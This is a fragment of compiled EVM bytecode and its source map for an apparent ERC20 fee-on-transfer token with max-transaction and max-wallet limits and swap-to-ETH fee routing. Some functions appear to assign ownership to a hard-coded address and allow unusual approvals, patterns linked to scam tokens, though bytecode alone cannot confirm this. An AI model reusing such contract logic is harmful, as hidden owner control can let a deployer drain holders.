90919063ffffffff16565b90506000612dc76002612db986612dab878a611f2b90919063ffffffff16565b611fa590919063ffffffff16565b611fa590919063ffffffff16565b90506000612dde8287612aa190919063ffffffff16565b90506000479050612dee82613227565b6000612e038247612aa190919063ffffffff16565b90506000612e2d612e1e600289611fa590919063ffffffff16565b89612aa190919063ffffffff16565b90506000612e696002612e5b84612e4d8c88611f2b90919063ffffffff16565b611fa590919063ffffffff16565b611fa590919063ffffffff16565b90506000612ea683612e98612e896017548c611f2b90919063ffffffff16565b87611f2b90919063ffffffff16565b611fa590919063ffffffff16565b90506000612ecf82612ec18588612aa190919063ffffffff16565b612aa190919063ffffffff16565b90506000821115612f4457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f42573d6000803e3d6000fd5b505b6000811115612fb757600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612fb5573d6000803e3d6000fd5b505b600083118015612fc75750600088115b15612fd757612fd688846134a3565b5b50505050505050505050506000601b60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561308857613081606461307360185486611f2b90919063ffffffff16565b611fa590919063ffffffff16565b9050613106565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131055761310260646130f460195486611f2b90919063ffffffff16565b611fa590919063ffffffff16565b90505b5b600081111561320a5761316181600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132019190613817565b60405180910390a35b61321d8184612aa190919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561324457613243613ba0565b5b6040519080825280602002602001820160405280156132725781602001602082028036833780820191505090505b509050308160008151811061328a57613289613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613331573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133559190613a46565b8160018151811061336957613368613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506133d030601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612055565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016134349594939291906143cd565b600060405180830381600087803b15801561344e57600080fd5b505af1158015613462573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613497929190614427565b60405180910390a15050565b6134d030601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612055565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161355996959493929190613ad7565b60606040518083038185885af1158015613577573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061359c9190613b4d565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135dd5780820151818401526020810190506135c2565b60008484015250505050565b6000601f19601f8301169050919050565b6000613605826135a3565b61360f81856135ae565b935061361f8185602086016135bf565b613628816135e9565b840191505092915050565b6000602082019050818103600083015261364d81846135fa565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061368082613655565b9050919050565b61369081613675565b82525050565b60006020820190506136ab6000830184613687565b92915050565b600080fd5b6136bf81613675565b81146136ca57600080fd5b50565b6000813590506136dc816136b6565b92915050565b6000819050919050565b6136f5816136e2565b811461370057600080fd5b50565b600081359050613712816136ec565b92915050565b6000806040838503121561372f5761372e6136b1565b5b600061373d858286016136cd565b925050602061374e85828601613703565b9150509250929050565b60008115159050919050565b61376d81613758565b82525050565b60006020820190506137886000830184613764565b92915050565b6000819050919050565b60006137b36137ae6137a984613655565b61378e565b613655565b9050919050565b60006137c582613798565b9050919050565b60006137d7826137ba565b9050919050565b6137e7816137cc565b82525050565b600060208201905061380260008301846137de565b92915050565b613811816136e2565b82525050565b600060208201905061382c6000830184613808565b92915050565b60008060006060848603121561384b5761384a6136b1565b5b6000613859868287016136cd565b935050602061386a868287016136cd565b925050604061387b86828701613703565b9150509250925092565b600060ff82169050919050565b61389b81613885565b82525050565b60006020820190506138b66000830184613892565b92915050565b6000602082840312156138d2576138d16136b1565b5b60006138e0848285016136cd565b91505092915050565b60006138f482613655565b9050919050565b613904816138e9565b82525050565b600060208201905061391f60008301846138fb565b92915050565b6000806040838503121561393c5761393b6136b1565b5b600061394a858286016136cd565b925050602061395b858286016136cd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139ac57607f821691505b6020821081036139bf576139be613965565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139fb6020836135ae565b9150613a06826139c5565b602082019050919050565b60006020820190508181036000830152613a2a816139ee565b9050919050565b600081519050613a40816136b6565b92915050565b600060208284031215613a5c57613a5b6136b1565b5b6000613a6a84828501613a31565b91505092915050565b6000604082019050613a886000830185613687565b613a956020830184613687565b9392505050565b6000819050919050565b6000613ac1613abc613ab784613a9c565b61378e565b6136e2565b9050919050565b613ad181613aa6565b82525050565b600060c082019050613aec6000830189613687565b613af96020830188613808565b613b066040830187613ac8565b613b136060830186613ac8565b613b206080830185613687565b613b2d60a0830184613808565b979650505050505050565b600081519050613b47816136ec565b92915050565b600080600060608486031215613b6657613b656136b1565b5b6000613b7486828701613b38565b9350506020613b8586828701613b38565b9250506040613b9686828701613b38565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c3381613675565b82525050565b6000613c458383613c2a565b60208301905092915050565b6000602082019050919050565b6000613c6982613bfe565b613c738185613c09565b9350613c7e83613c1a565b8060005b83811015613caf578151613c968882613c39565b9750613ca183613c51565b925050600181019050613c82565b5085935050505092915050565b6000608082019050613cd16000830187613ac8565b8181036020830152613ce38186613c5e565b9050613cf26040830185613687565b613cff6060830184613808565b95945050505050565b6000606082019050613d1d6000830186613687565b613d2a6020830185613687565b613d376040830184613808565b949350505050565b613d4881613758565b8114613d5357600080fd5b50565b600081519050613d6581613d3f565b92915050565b600060208284031215613d8157613d806136b1565b5b6000613d8f84828501613d56565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613df46026836135ae565b9150613dff82613d98565b604082019050919050565b60006020820190508181036000830152613e2381613de7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e64826136e2565b9150613e6f836136e2565b9250828202613e7d816136e2565b91508282048414831517613e9457613e93613e2a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ed5826136e2565b9150613ee0836136e2565b925082613ef057613eef613e9b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f576021836135ae565b9150613f6282613efb565b604082019050919050565b60006020820190508181036000830152613f8681613f4a565b9050919050565b6000613f98826136e2565b9150613fa3836136e2565b9250828201905080821115613fbb57613fba613e2a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff7601b836135ae565b915061400282613fc1565b602082019050919050565b6000602082019050818103600083015261402681613fea565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006140896024836135ae565b91506140948261402d565b604082019050919050565b600060208201905081810360008301526140b88161407c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061411b6022836135ae565b9150614126826140bf565b604082019050919050565b6000602082019050818103600083015261414a8161410e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006141ad6025836135ae565b91506141b882614151565b604082019050919050565b600060208201905081810360008301526141dc816141a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061423f6023836135ae565b915061424a826141e3565b604082019050919050565b6000602082019050818103600083015261426e81614232565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006142d16028836135ae565b91506142dc82614275565b604082019050919050565b60006020820190508181036000830152614300816142c4565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b60006143636025836135ae565b915061436e82614307565b604082019050919050565b6000602082019050818103600083015261439281614356565b9050919050565b60006143a4826136e2565b91506143af836136e2565b92508282039050818111156143c7576143c6613e2a565b5b92915050565b600060a0820190506143e26000830188613808565b6143ef6020830187613ac8565b81810360408301526144018186613c5e565b90506144106060830185613687565b61441d6080830184613808565b9695505050505050565b600060408201905061443c6000830185613808565b818103602083015261444e8184613c5e565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200a897d4a0841bb773170be70b4be3e7a9f651bca8de2c681b0f11b8a95313dcf64736f6c63430008120033

Deployed Bytecode Sourcemap

11620:13220:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15021:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12121:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16465:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13282:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15298:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12988:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17489:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12033:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22640:737;;;:::i;:::-;;23387:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17113:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15207:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15684:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12430:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13399:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12338:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13122:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12373:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11833:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15406:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3293:230;;;;;;;;;;;;;:::i;:::-;;19559:122;;;;;;;;;;;;;:::i;:::-;;12764:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12833:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13240:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13542:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13036:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12549:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3068:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11895:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15112:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11988:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23605:556;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16188:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13330:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17314:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12488:54;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12946:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13079:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12676:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13446:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12904:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15533:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13201:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3531:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13165:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13500:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15021:83;15058:13;15091:5;15084:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15021:83;:::o;12121:81::-;;;:::o;16465:161::-;16540:4;16557:39;16566:12;:10;:12::i;:::-;16580:7;16589:6;16557:8;:39::i;:::-;16614:4;16607:11;;16465:161;;;;:::o;13282:41::-;;;;;;;;;;;;;:::o;15298:100::-;15351:7;15378:12;;15371:19;;15298:100;:::o;12988:35::-;;;;:::o;17489:313::-;17587:4;17604:36;17614:6;17622:9;17633:6;17604:9;:36::i;:::-;;17651:121;17660:6;17668:12;:10;:12::i;:::-;17682:89;17720:6;17682:89;;;;;;;;;;;;;;;;;:11;:19;17694:6;17682:19;;;;;;;;;;;;;;;:33;17702:12;:10;:12::i;:::-;17682:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17651:8;:121::i;:::-;17790:4;17783:11;;17489:313;;;;;:::o;12033:81::-;;;:::o;22640:737::-;3212:12;:10;:12::i;:::-;3202:22;;:6;;;;;;;;;;:22;;;3194:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;22699:35:::1;22756:42;22699:100;;22843:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22825:56;;;22890:4;22897:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22825:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22811:11;;:110;;;;;;;;;;;;;;;;;;22950:16;22932:15;;:34;;;;;;;;;;;;;;;;;;23041:1;23032:11;22977;:26;22997:4;22977:26;;;;;;;;;;;;;;;:52;23012:15;;;;;;;;;;;22977:52;;;;;;;;;;;;;;;:66;;;;23084:4;23056:12;:25;23069:11;;;;;;;;;;;23056:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;23136:4;23099:21;:34;23121:11;;;;;;;;;;;23099:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;23182:4;23151:15;:28;23167:11;;;;;;;;;;;23151:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;23227:10;23199:17;;:39;;;;;;;;;;;;;;;;;;23249:15;;;;;;;;;;;:31;;;23288:9;23307:4;23313:24;23331:4;23313:9;:24::i;:::-;23338:1;23340::::0;23342:10:::1;23353:15;23249:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22688:689;22640:737::o:0;23387:206::-;23459:4;23476:13;23500:4;23476:29;;23518:3;23507:8;:14;;;;23532:31;23540:7;23549:5;23556:6;23532:7;:31::i;:::-;23581:4;23574:11;;;23387:206;;;;:::o;17113:156::-;17166:7;17193:68;17238:22;17248:11;17238:9;:22::i;:::-;17193:40;17210:22;17220:11;17210:9;:22::i;:::-;17193:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;17186:75;;17113:156;:::o;15207:83::-;15248:5;15273:9;;;;;;;;;;;15266:16;;15207:83;:::o;15684:218::-;15772:4;15789:83;15798:12;:10;:12::i;:::-;15812:7;15821:50;15860:10;15821:11;:25;15833:12;:10;:12::i;:::-;15821:25;;;;;;;;;;;;;;;:34;15847:7;15821:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15789:8;:83::i;:::-;15890:4;15883:11;;15684:218;;;;:::o;12430:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13399:40::-;;;;;;;;;;;;;:::o;12338:26::-;;;;;;;;;;;;;:::o;13122:36::-;;;;:::o;12373:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;11833:55::-;;;;;;;;;;;;;:::o;15406:119::-;15472:7;15499:9;:18;15509:7;15499:18;;;;;;;;;;;;;;;;15492:25;;15406:119;;;:::o;3293:230::-;3212:12;:10;:12::i;:::-;3202:22;;:6;;;;;;;;;;:22;;;3194:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3400:42:::1;3363:81;;3384:6;::::0;::::1;;;;;;;;3363:81;;;;;;;;;;;;3472:42;3455:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3293:230::o:0;19559:122::-;3212:12;:10;:12::i;:::-;3202:22;;:6;;;;;;;;;;:22;;;3194:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19625:12:::1;;19610;:27;;;;19661:12;;19648:10;:25;;;;19559:122::o:0;12764:61::-;;;;:::o;12833:60::-;;;;:::o;13240:33::-;;;;:::o;13542:41::-;;;;;;;;;;;;;:::o;13036:36::-;;;;:::o;12549:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3068:79::-;3106:7;3133:6;;;;;;;;;;;3126:13;;3068:79;:::o;11895:86::-;;;;;;;;;;;;;:::o;15112:87::-;15151:13;15184:7;15177:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15112:87;:::o;11988:32::-;;;;;;;;;;;;;:::o;23605:556::-;23677:21;23715:1;23701:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23677:40;;23738:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23728:4;23733:1;23728:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;23789:4;23771;23776:1;23771:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;23805:12;23827:4;23832:1;23827:7;;;;;;;;:::i;:::-;;;;;;;;23805:30;;23853:17;:29;23871:10;23853:29;;;;;;;;;;;;;;;;;;;;;;;;;23848:306;;23899:15;;;;;;;;;;;:66;;;23973:6;24000:1;24020:4;24043:2;24064:15;23899:195;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23848:306;;;24113:5;:18;;;24132:2;24136:4;24141:1;24136:7;;;;;;;;:::i;:::-;;;;;;;;24145:6;24113:39;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;23848:306;23666:495;;23605:556;;:::o;16188:269::-;16281:4;16298:129;16307:12;:10;:12::i;:::-;16321:7;16330:96;16369:15;16330:96;;;;;;;;;;;;;;;;;:11;:25;16342:12;:10;:12::i;:::-;16330:25;;;;;;;;;;;;;;;:34;16356:7;16330:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;16298:8;:129::i;:::-;16445:4;16438:11;;16188:269;;;;:::o;13330:26::-;;;;;;;;;;;;;:::o;17314:167::-;17392:4;17409:42;17419:12;:10;:12::i;:::-;17433:9;17444:6;17409:9;:42::i;:::-;;17469:4;17462:11;;17314:167;;;;:::o;12488:54::-;;;;;;;;;;;;;;;;;;;;;;:::o;12946:35::-;;;;:::o;13079:36::-;;;;:::o;12676:70::-;;;;:::o;13446:45::-;;;;;;;;;;;;;:::o;12904:35::-;;;;:::o;15533:143::-;15614:7;15641:11;:18;15653:5;15641:18;;;;;;;;;;;;;;;:27;15660:7;15641:27;;;;;;;;;;;;;;;;15634:34;;15533:143;;;;:::o;13201:32::-;;;;:::o;3531:244::-;3212:12;:10;:12::i;:::-;3202:22;;:6;;;;;;;;;;:22;;;3194:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3640:1:::1;3620:22;;:8;:22;;::::0;3612:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3730:8;3701:38;;3722:6;::::0;::::1;;;;;;;;3701:38;;;;;;;;;;;;3759:8;3750:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3531:244:::0;:::o;13165:27::-;;;;:::o;13500:35::-;;;;;;;;;;;;;:::o;1753:250::-;1811:7;1840:1;1835;:6;1831:47;;1865:1;1858:8;;;;1831:47;1890:9;1906:1;1902;:5;;;;:::i;:::-;1890:17;;1935:1;1930;1926;:5;;;;:::i;:::-;:10;1918:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1994:1;1987:8;;;1753:250;;;;;:::o;2011:132::-;2069:7;2096:39;2100:1;2103;2096:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2089:46;;2011:132;;;;:::o;1220:181::-;1278:7;1298:9;1314:1;1310;:5;;;;:::i;:::-;1298:17;;1339:1;1334;:6;;1326:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1392:1;1385:8;;;1220:181;;;;:::o;280:115::-;333:15;376:10;361:26;;280:115;:::o;16634:337::-;16744:1;16727:19;;:5;:19;;;16719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16825:1;16806:21;;:7;:21;;;16798:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16909:6;16879:11;:18;16891:5;16879:18;;;;;;;;;;;;;;;:27;16898:7;16879:27;;;;;;;;;;;;;;;:36;;;;16947:7;16931:32;;16940:5;16931:32;;;16956:6;16931:32;;;;;;:::i;:::-;;;;;;;;16634:337;;;:::o;17810:1741::-;17897:4;17940:1;17922:20;;:6;:20;;;17914:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;18024:1;18003:23;;:9;:23;;;17995:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;18082:17;:25;18100:6;18082:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;18111:17;:28;18129:9;18111:28;;;;;;;;;;;;;;;;;;;;;;;;;18082:57;18079:1465;;;18164:41;18179:6;18187:9;18198:6;18164:14;:41::i;:::-;18157:48;;;;18079:1465;18245:15;:23;18261:6;18245:23;;;;;;;;;;;;;;;;;;;;;;;;;18244:24;:55;;;;;18273:15;:26;18289:9;18273:26;;;;;;;;;;;;;;;;;;;;;;;;;18272:27;18244:55;:81;;;;;18303:22;;;;;;;;;;;18244:81;18241:196;;;18364:12;;18354:6;:22;;18346:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;18241:196;18453:28;18484:24;18502:4;18484:9;:24::i;:::-;18453:55;;18523:28;18578:23;;18554:20;:47;;18523:78;;18622:23;:44;;;;;18650:16;;;;;;;;;;;18649:17;18622:44;:69;;;;;18671:12;:20;18684:6;18671:20;;;;;;;;;;;;;;;;;;;;;;;;;18670:21;18622:69;:94;;;;;18695:21;;;;;;;;;;;18622:94;18618:305;;;18754:25;;;;;;;;;;;18751:97;;;18825:23;;18802:46;;18751:97;18867:36;18882:20;18867:14;:36::i;:::-;18618:305;18959:53;18981:6;18959:53;;;;;;;;;;;;;;;;;:9;:17;18969:6;18959:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;18939:9;:17;18949:6;18939:17;;;;;;;;;;;;;;;:73;;;;19029:19;19052:17;:25;19070:6;19052:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;19081:17;:28;19099:9;19081:28;;;;;;;;;;;;;;;;;;;;;;;;;19052:57;19051:105;;19122:34;19130:6;19138:9;19149:6;19122:7;:34::i;:::-;19051:105;;;19113:6;19051:105;19029:127;;19176:16;;;;;;;;;;;:53;;;;;19197:21;:32;19219:9;19197:32;;;;;;;;;;;;;;;;;;;;;;;;;19196:33;19176:53;19173:193;;;19299:10;;19258:37;19283:11;19258:20;19268:9;19258;:20::i;:::-;:24;;:37;;;;:::i;:::-;:51;;19250:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;19173:193;19405:37;19430:11;19405:9;:20;19415:9;19405:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;19382:9;:20;19392:9;19382:20;;;;;;;;;;;;;;;:60;;;;19481:9;19464:40;;19473:6;19464:40;;;19492:11;19464:40;;;;;;:::i;:::-;;;;;;;;19528:4;19521:11;;;;;17810:1741;;;;;;:::o;1553:192::-;1639:7;1672:1;1667;:6;;1675:12;1659:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1699:9;1715:1;1711;:5;;;;:::i;:::-;1699:17;;1736:1;1729:8;;;1553:192;;;;;:::o;15910:270::-;16033:1;16016:19;;:5;:19;;;16008:28;;;;;;16074:1;16055:21;;:7;:21;;;16047:30;;;;;;16118:6;16088:11;:18;16100:5;16088:18;;;;;;;;;;;;;;;:27;16107:7;16088:27;;;;;;;;;;;;;;;:36;;;;16156:7;16140:32;;16149:5;16140:32;;;16165:6;16140:32;;;;;;:::i;:::-;;;;;;;;15910:270;;;:::o;1409:136::-;1467:7;1494:43;1498:1;1501;1494:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1487:50;;1409:136;;;;:::o;2151:278::-;2237:7;2269:1;2265;:5;2272:12;2257:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2296:9;2312:1;2308;:5;;;;:::i;:::-;2296:17;;2420:1;2413:8;;;2151:278;;;;;:::o;20309:330::-;20402:4;20439:53;20461:6;20439:53;;;;;;;;;;;;;;;;;:9;:17;20449:6;20439:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;20419:9;:17;20429:6;20419:17;;;;;;;;;;;;;;;:73;;;;20526:32;20551:6;20526:9;:20;20536:9;20526:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;20503:9;:20;20513:9;20503:20;;;;;;;;;;;;;;;:55;;;;20591:9;20574:35;;20583:6;20574:35;;;20602:6;20574:35;;;;;;:::i;:::-;;;;;;;;20627:4;20620:11;;20309:330;;;;;:::o